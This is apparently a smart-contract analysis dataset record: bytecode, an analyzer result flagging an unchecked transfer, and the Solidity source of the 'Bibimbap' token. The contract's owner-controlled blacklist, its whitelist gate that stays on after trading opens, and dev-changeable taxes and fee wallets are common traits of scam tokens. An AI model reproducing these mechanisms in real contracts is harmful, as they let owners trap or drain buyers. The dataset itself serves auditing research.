b8211156109e05760009050610ada565b610a286000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a766004548361149d565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ada565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b505050506040513d6020811015610c4857600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f483243000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9357600080fd5b600560009054906101000a900460ff1615610db15760009050610dbe565b610dbb83836114bb565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee257600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110db57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611168576000905061147d565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b7576000905061147d565b6000821180156111f357508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114135761127e600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113466000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d06000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149257fe5b818303905092915050565b60008082840190508381101515156114b157fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115475760009050611707565b60008211801561158357508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169d576115d06000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165a6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820f2386289a976767ebb201878994d3840f53c092992c41a063d7d2a729b7d20710029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,091
0xc944b62afddb10e4d92664f6910465acb4403472
/* Bibimbap (비빔밥) https://t.me/BibimbapETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Contract is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bibimbap"; string private constant _symbol = "Bibimap"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _buytax = 10; // Buy tax 10% uint256 private _teamFee; uint256 private _sellTax = 10; // Launch sell tax 40% for 30mins. Tax goes down 5% for every zero we lose until it goes down to 10%. uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _MarketTax; address payable private _Dev; address payable private _DevTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private publicsale = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable markettax, address payable devtax, address payable dev) { _MarketTax = markettax; _Dev = dev; _DevTax = devtax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_MarketTax] = true; _isExcludedFromFee[_DevTax] = true; _isExcludedFromFee[_Dev] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(!publicsale){ require(whitelist[from] || whitelist[to] || whitelist[msg.sender]); } if(from == uniswapV2Pair || from == address(uniswapV2Router)){ _teamFee = _buytax; } if(from != uniswapV2Pair && from != address(uniswapV2Router)){ _teamFee = _sellTax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DevTax.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; publicsale = false; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Dev); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setWhitelist(address[] memory whitelist_) public onlyOwner() { for (uint256 i = 0; i < whitelist_.length; i++) { whitelist[whitelist_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Dev); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setSellTax(uint256 selltax) external onlyOwner() { require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40'); _sellTax = selltax; } function _setBuyTax(uint256 buytax) external onlyOwner() { require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10'); _buytax = buytax; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarket(address payable account) external { require(_msgSender() == _Dev); _MarketTax = account; } function setDev(address payable account) external { require(_msgSender() == _Dev); _Dev = account; } function setDevpay(address payable account) external { require(_msgSender() == _Dev); _DevTax = account; } function OpenPublic() external onlyOwner() { publicsale = true; } function _ZeroLost() external { require(_msgSender() == _Dev); require(_sellTax >= 10 && _sellTax <= 40, 'teamFee should be in 10 - 40, Minimum for ZeroLost is 10'); _teamFee = _teamFee.sub(5); } function _ZeroSellTax() external { require(_msgSender() == _Dev); _sellTax = 0; } function _ZeroBuyTax() external { require(_msgSender() == _Dev); _buytax = 0; } }
0x6080604052600436106101fd5760003560e01c8063a9059cbb1161010d578063d00efb2f116100a0578063dd62ed3e1161006f578063dd62ed3e146105d3578063e01af92c14610619578063e47d606014610639578063e850fe3814610672578063f42176481461068757600080fd5b8063d00efb2f1461055d578063d477f05f14610573578063d543dbeb14610593578063dbe8272c146105b357600080fd5b8063c9567bf9116100dc578063c9567bf9146104da578063cba0e996146104ef578063cdeda4c614610528578063cf27e7d51461053d57600080fd5b8063a9059cbb14610465578063b515566a14610485578063c0e6b46e146104a5578063c3c8cd80146104c557600080fd5b80636dcea85f11610190578063715018a61161015f578063715018a6146103ce57806384e1879d146103e35780638d9d08e7146103f85780638da5cb5b1461040d57806395d89b411461043557600080fd5b80636dcea85f146103405780636f9170f6146103605780636fc3eaec1461039957806370a08231146103ae57600080fd5b8063273123b7116101cc578063273123b7146102c25780632b7581b2146102e4578063313ce56714610304578063437823ec1461032057600080fd5b806306fdde0314610209578063095ea7b31461024c57806318160ddd1461027c57806323b872dd146102a257600080fd5b3661020457005b600080fd5b34801561021557600080fd5b506040805180820190915260088152670426962696d6261760c41b60208201525b60405161024391906120ed565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611f7e565b6106a7565b6040519015158152602001610243565b34801561028857600080fd5b50683635c9adc5dea000005b604051908152602001610243565b3480156102ae57600080fd5b5061026c6102bd366004611f3e565b6106be565b3480156102ce57600080fd5b506102e26102dd366004611ece565b610727565b005b3480156102f057600080fd5b506102e26102ff3660046120a8565b61077b565b34801561031057600080fd5b5060405160098152602001610243565b34801561032c57600080fd5b506102e261033b366004611ece565b6107fb565b34801561034c57600080fd5b506102e261035b366004611ece565b610849565b34801561036c57600080fd5b5061026c61037b366004611ece565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156103a557600080fd5b506102e261088b565b3480156103ba57600080fd5b506102946103c9366004611ece565b6108b8565b3480156103da57600080fd5b506102e26108da565b3480156103ef57600080fd5b506102e261094e565b34801561040457600080fd5b506102e2610975565b34801561041957600080fd5b506000546040516001600160a01b039091168152602001610243565b34801561044157600080fd5b506040805180820190915260078152660426962696d61760cc1b6020820152610236565b34801561047157600080fd5b5061026c610480366004611f7e565b610a30565b34801561049157600080fd5b506102e26104a0366004611fa9565b610a3d565b3480156104b157600080fd5b506102e26104c03660046120a8565b610ae1565b3480156104d157600080fd5b506102e2610b76565b3480156104e657600080fd5b506102e2610bac565b3480156104fb57600080fd5b5061026c61050a366004611ece565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561053457600080fd5b506102e2610f73565b34801561054957600080fd5b506102e2610558366004611ece565b610fb2565b34801561056957600080fd5b5061029460195481565b34801561057f57600080fd5b506102e261058e366004611ece565b610ff4565b34801561059f57600080fd5b506102e26105ae3660046120a8565b611036565b3480156105bf57600080fd5b506102e26105ce3660046120a8565b611104565b3480156105df57600080fd5b506102946105ee366004611f06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561062557600080fd5b506102e2610634366004612070565b611184565b34801561064557600080fd5b5061026c610654366004611ece565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561067e57600080fd5b506102e26111c2565b34801561069357600080fd5b506102e26106a2366004611fa9565b6111e9565b60006106b4338484611289565b5060015b92915050565b60006106cb8484846113ad565b61071d8433610718856040518060600160405280602881526020016122be602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061176f565b611289565b5060019392505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161075190612140565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161075190612140565b600a8111156107f65760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d2031300000000000006044820152606401610751565b600955565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161075190612140565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b03161461086957600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316146108ab57600080fd5b476108b5816117a9565b50565b6001600160a01b0381166000908152600260205260408120546106b8906117e3565b6000546001600160a01b031633146109045760405162461bcd60e51b815260040161075190612140565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b03161461096e57600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b03161461099557600080fd5b600a600b54101580156109ab57506028600b5411155b610a1d5760405162461bcd60e51b815260206004820152603860248201527f7465616d4665652073686f756c6420626520696e203130202d2034302c204d6960448201527f6e696d756d20666f72205a65726f4c6f737420697320313000000000000000006064820152608401610751565b600a54610a2b906005611867565b600a55565b60006106b43384846113ad565b6000546001600160a01b03163314610a675760405162461bcd60e51b815260040161075190612140565b60005b8151811015610add57600160106000848481518110610a9957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ad581612253565b915050610a6a565b5050565b6014546001600160a01b0316336001600160a01b031614610b0157600080fd5b60008111610b515760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610751565b610b70612710610b6a683635c9adc5dea00000846118a9565b90611928565b600f5550565b6014546001600160a01b0316336001600160a01b031614610b9657600080fd5b6000610ba1306108b8565b90506108b58161196a565b6000546001600160a01b03163314610bd65760405162461bcd60e51b815260040161075190612140565b601754600160a01b900460ff1615610c305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610751565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c6d3082683635c9adc5dea00000611289565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca657600080fd5b505afa158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde9190611eea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2657600080fd5b505afa158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190611eea565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190611eea565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610e0e816108b8565b600080610e236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610e8657600080fd5b505af1158015610e9a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ebf91906120c0565b5050601780546801158e460913d000006018554360195563ffff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610f3b57600080fd5b505af1158015610f4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add919061208c565b6000546001600160a01b03163314610f9d5760405162461bcd60e51b815260040161075190612140565b6017805460ff60b81b1916600160b81b179055565b6014546001600160a01b0316336001600160a01b031614610fd257600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461101457600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110605760405162461bcd60e51b815260040161075190612140565b600081116110b05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610751565b6110c96103e8610b6a683635c9adc5dea00000846118a9565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461112e5760405162461bcd60e51b815260040161075190612140565b602881111561117f5760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d20343000000000006044820152606401610751565b600b55565b6014546001600160a01b0316336001600160a01b0316146111a457600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316146111e257600080fd5b6000600955565b6000546001600160a01b031633146112135760405162461bcd60e51b815260040161075190612140565b60005b8151811015610add5760016011600084848151811061124557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061128181612253565b915050611216565b6001600160a01b0383166112eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610751565b6001600160a01b03821661134c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610751565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610751565b6001600160a01b0382166114735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610751565b600081116114d55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610751565b6000546001600160a01b0384811691161480159061150157506000546001600160a01b03838116911614155b15611712576001600160a01b03831630146115255760185481111561152557600080fd5b601754600160b81b900460ff16611598576001600160a01b03831660009081526011602052604090205460ff168061157557506001600160a01b03821660009081526011602052604090205460ff165b8061158f57503360009081526011602052604090205460ff165b61159857600080fd5b6017546001600160a01b03848116911614806115c157506016546001600160a01b038481169116145b156115cd57600954600a555b6017546001600160a01b038481169116148015906115f957506016546001600160a01b03848116911614155b1561160557600b54600a555b6001600160a01b03831660009081526010602052604090205460ff1615801561164757506001600160a01b03821660009081526010602052604090205460ff16155b801561166357503360009081526010602052604090205460ff16155b61166c57600080fd5b6000611677306108b8565b9050600f5481106116875750600f545b600e546017549082101590600160a81b900460ff161580156116b25750601754600160b01b900460ff165b80156116bb5750805b80156116d557506017546001600160a01b03868116911614155b80156116ef57506016546001600160a01b03868116911614155b1561170f576116fd8261196a565b47801561170d5761170d476117a9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061175457506001600160a01b03831660009081526005602052604090205460ff165b1561175d575060005b61176984848484611b0f565b50505050565b600081848411156117935760405162461bcd60e51b815260040161075191906120ed565b5060006117a0848661223c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610add573d6000803e3d6000fd5b600060065482111561184a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652